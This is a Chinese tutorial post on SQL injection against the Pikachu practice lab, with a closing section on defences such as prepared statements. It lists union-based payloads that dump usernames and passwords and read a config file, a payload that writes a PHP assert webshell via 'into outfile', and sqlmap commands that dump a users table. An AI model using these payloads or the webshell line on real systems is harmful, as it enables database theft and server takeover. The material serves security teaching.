有人说,技术分享就像找女朋友一样,不是靠追的,而要靠吸引!
安全案列介绍
SQL注入攻击案列
WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37。
Discuz!系列全版本,截止到 Discuz! 3.4 R20191201 UTF-8。注入路径:登录后台,点击站长-》UCenter设置-》UCenter应用ID,存在注入漏洞
SQL注入
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
经典注入方式
1. id=1 order by n#
#确定注入点语句的列数,后续构建union语句需要相同数量的字段
2. id=1 union select database(),2#
#确定数据库名
3. id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
#确定表有哪些
4. id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
#确定数据列
5. id=1 union select username,password from users#
#获取数据
6. id=1 union select load_file('D:/www/pikachu/inc/config.inc.php'),1 from users#
#读取文件
secure_file_priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
可通过show global variables like '%secure%';
查看mysql设置
7. id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'D:/www/pikachu/1.php'#
#写入攻击脚本
借助sqlmap注入
提前准备
- python环境
# 笔者这里使用python2.7
wget https://www.python.org/ftp/python/2.7.13/Python-2.7.13.tgz
tar -zvxf Python-2.7.13.tgz
./configure
make
sudo make installl
- sqlmap
#linux下git直接安装
gitclone --depth 1 [https://github.com/sqlmapproject/sqlmap.git](https://github.com/sqlmapproject/sqlmap.git) sqlmap-dev
执行python sqlmap.py -h
检测时报错
missing one or more core extensions ('bz2', 'sqlite3') most likely ...
bz2安装
sudo apt-get install libbz2-dev
sqlite3安装
wget http://www.sqlite.org/sqlite-3.5.6.tar.gz
tar -zvxf sqlite-3.5.6.tar.gz
./configure
make
sudo make installl
重新编译安装python
注入操作
#获取数据库
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch --current-db
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch --dbs
#获取数据库所有表
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch
#获取table列
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch
#获取表内容数据
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password -dump --batch
SQL注入防御
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
- 限制数据类型
- 参数过滤
- 函数过滤转义
在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义 - 预编译语句
一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。可以理解为字符串与sql语句的关系区分开,参数此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。